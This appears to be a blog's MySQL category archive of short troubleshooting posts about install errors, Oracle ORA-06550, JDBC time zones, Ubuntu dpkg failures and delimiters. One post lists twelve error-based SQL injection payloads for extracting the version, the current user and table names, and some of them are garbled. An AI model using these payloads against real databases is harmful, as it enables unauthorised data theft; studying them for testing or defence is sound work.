Category Archives: MYSQL

How to Solve Error in installing MySQL Python in Pip

Error 1: EnvironmentError: mysql_config not found

Solution: yum install mysql-devel

Error 2: Python.h No such file or directory

For more errors see the following lines.

_mysql.c:29:20: fatal error: Python.h: No such file or directory
#include “Python.h”
^
compilation terminated.
error: command ‘gcc’ failed with exit status 1

Solution: yum install python-devel.x86_64

In fact, these two errors are one and the same, both are not installed python-devel, only error 2 is 64-bit

 

Database Insert error: ora-06550 [How to Solve]

Problem: an error is reported when inserting data into the database:

ORA-06550: line 1, column 7: PLS-00905: object TEST.USERINFO_INSERT is invalid

ORA-06550: line 1, column 7: PL/SQL: Statement ignored

Solution:

Debug server, error found:

Unable to find ‘struts.multipart.saveDir’ property setting. Defaulting to javax.servlet.context.tempdir

Resolution of this error: http://hi.baidu.com/fgfd0/blog/item/ed1b1c388bb4a6f4b311c721.html

Directly execute the stored procedure on the database, 9i normal, 10g error: ora-06575 package or function is in an invalid state

In Oracle SQL developer, we found dependencies, procedure_The status of insertde is invalid

Looking at the procedures item in the database, I found that many stored procedures have errors

The original error reason for this problem is: the fields in the table are changed, and the stored procedure is not changed together, so the stored procedure is wrong

 

This database table was built by elder martial brother with PD. After it was built, a tool was used to automatically generate some stored procedures. By default, this tool generated SQL server, and the elder martial brother processed it into oracle

Hehe, we need to change the stored procedure. I’ve hardly touched stored procedures before

12 Methods of SQL Error Injection [How to Inject]

1. An error is reported through the floor, and the injection statement is as follows:

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2. An error is reported through extractvalue, and the injection statement is as follows:

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

3. An error is reported through updatexml, and the injection statement is as follows:

and 1=(updatexml(1,concat(0x3a,(select user())),1))

4. Via name_Const reports an error, and the injection statement is as follows:

and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)

5. An error is reported through the join, and the injection statement is as follows:

select * from(select * from mysql.user ajoin mysql.user b)c;

6. If an error is reported by exp, the injection statement is as follows:

and exp(~(select * from (select user () ) a) );

7. An error is reported through geometrycollection(). The injection statement is as follows:

and GeometryCollection(()select *from(select user () )a)b );

 

8. An error is reported through polygon(), and the injection statement is as follows:

and polygon (()select * from(select user ())a)b );

9. An error is reported through multipoint(), and the injection statement is as follows:

and multipoint (()select * from(select user() )a)b );

10. An error is reported through multlinestring(), and the injection statement is as follows:

and multlinestring (()select * from(selectuser () )a)b );

11. An error is reported through multpolygon(), and the injection statement is as follows:

and multpolygon (()select * from(selectuser () )a)b );

12. An error is reported through linestring(), and the injection statement is as follows:

and linestring (()select * from(select user() )a)b );

The sixth and twelfth are used more often because the sentences are short and are not easy to be limited.

[Solved] Error: The server time zone value ‘???ú±ê×??±??’ is unrecognized or represents more than one time zone.

Error message:The server time zone value '???ú±ê×??±??' is unrecognized or represents more than one time zone.

Error reason: many inquiries found to be a problem area when mysql was, earlier than the actual time, it is necessary to get back in the JDBC connection URL plus mysql?serverTimezone=GMTcan solve the problem, the low version was 5.xxx not have this time zone problem, which only exist in this 8.0 problem

Ubuntu 16.04 troubleshooting MySQL error [How to Solve]

problem description

Ubuntu 16.04 errors are reported when installing the MySQL server and MySQL client. In order to make the description as simple as possible, take MySQL client as an example:

$ sudo apt install mysql-client

## ubuntu 16.04 It is recommended to use apt for all operations


## Omit a bunch of prompts and go straight to the error message

...
Unselected package mysql-client is being selected.
(The database is being read ... The system currently has 277491 files and directories installed.)
Preparing to unpack ... /mysql-client_5.7.15-0ubuntu0.16.04.1_all.deb ...
Unpacking mysql-client (5.7.15-0ubuntu0.16.04.1) ...
Setting up mysql-common (5.7.15-0ubuntu0.16.04.1) ...
update-alternatives: error: candidate path /etc/mysql/my.cnf.fallback does not exist
dpkg: Error processing package mysql-common (--configure).
 Subprocess installed post-installation script returned error status 2
dpkg: Dependency issues prevented the configuration of libmysqlclient20:amd64 from continuing.
 libmysqlclient20:amd64 depends on mysql-common (>= 5.5); however.
  Package mysql-common has not been configured.

dpkg: Error processing package libmysqlclient20:amd64 (--configure).
 Dependency issue - still not configured
dpkg: Dependency problem preventing configuration of libmysqlclient-dev from continuing.
 libmysqlclient-dev depends on libmysqlclient20 (= 5.7.15-0ubuntu0.16.04.1); however.
  Package libmysqlclient20:amd64 is not yet configured.

dpkg: Error processing package libmysqlclient-dev (--configure).
 Dependency issue - still not configured
dpkg: Dependency issue preventing mysql-client-5.7 configuration from continuing.
 mysql-client-5.7 depends on mysql-common (>= 5.5); however.
  Package mysql-common has not been configured.

dpkg: Error processing package mysql-client-5.7 (--configure).
 Dependency issue - still not configured
dpkg: Dependency issue preventing mysql-client configuration from continuing.
 mysql-client � The apport report was not written because the error message indicated that this was an error due to a previous issue.
                                                                                   No apport report was written because the error message indicated that this was an error due to a previous issue.
                                              The apport report was not written because the MaxReports limit was reached.
                                                                                                  The apport report was not written because the MaxReports limit was reached.
                                              Relies on mysql-client-5.7; however.
  Package mysql-client-5.7 has not been configured.

dpkg: Error processing package mysql-client (--configure).
 Dependency issue - still not configured
An error occurred while processing.
 mysql-common
 libmysqlclient20:amd64
 libmysqlclient-dev
 mysql-client-5.7
 mysql-client
E: Sub-process /usr/bin/dpkg returned an error code (1)

Error reporting focuses on:

update-alternatives: Error: candidate path /etc/mysql/my.cnf.fallback does not exist
dpkg: Error while processing package mysql-common (--configure).

Error information in English version:

update-alternatives: error: alternative path /etc/mysql/my.cnf.fallback doesn't exist dpkg: error processing package mysql-common (--configure):

solution:

mkdir MYSQL
cd MYSQL
sudo apt download mysql-common
ar xvf mysql*
tar xvf dat*
sudo cp ./etc/mysql/my.cnf.fallback /etc/mysql/my.cnf.fallback
sudo dpkg -i mysql*deb 
cd
sudo apt -f install

Note:

1. If there is no/etc/mysqlThis file is truncated to create yourself

2.If version < Ubuntu

 

 

How to Use delimiter// to solve MySQL end error

This is my initial error code:

1 create procedure search_sc (student_no varchar(6))
2     begin
3         select sc.* 
4         from sc
5         where sno= student_no
6     end;

Report the error: “Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘end’ at line 6

Solution:

delimiter //
create procedure search_sc (student_no varchar(6))    
    begin
        select sc.* 
        from sc
        where sno= student_no;
    end //

It turns out that the MySQL interpreter is based on ‘;’ To end the read command and execute the command in multiple ‘;’ The interpreter does not know which sentence ends the read command and executes the command, and the function of the delimiter is to replace the flag after the delimiter with the flag after the delimiter (in this paper ‘/ /’), so that the MySQL interpreter will execute this sentence only after ‘/ /’ appears

 

Solve the problem of pychart connecting MySQL 1366 and reporting an error

If you use pymysql to connect to MySQL, an error 1366 will be reported

engine=create_engine('mysql+pymysql://root:1234@localhost/b',#Specify the database engine to connect to, e.g. MySQL, Oracle, etc.
                     encoding='utf-8',
                     echo=False)

Error reporting:

E:\Anacoda\lib\site-packages\pymysql\cursors.py:170: Warning: (1366, "Incorrect string value: '\\xD6\\xD0\\xB9\\xFA\\xB1\\xEA...' for column 'VARIABLE_VALUE' at row 497")
  result = self._query(query)

Solution

Download MySQL connector Python from the official MySQL website: https://dev.mysql.com/downloads/connector/python/

After downloading and installing, change pymysql in the original connection code to mysqlconnector

engine=create_engine('mysql+mysqlconnector://root:1234@localhost/b',
                     encoding='utf-8',
                     echo=False)

 

Does MySQL report an error “MySQL: unknown option” for all parameters

error:

[root@XXXX tmp]# mysql -uroot -p
mysql: unknown option ‘–You have new mail in /var/spool/mail/root’
[root@XXXX tmp]#
[root@XXXX tmp]# mysql –?
mysql: unknown option ‘–You have new mail in /var/spool/mail/root’
[root@XXXX tmp]#

———————

It was only later discovered that there was a problem with the my.cnf provided in the package. There was an extra line at the end of the file.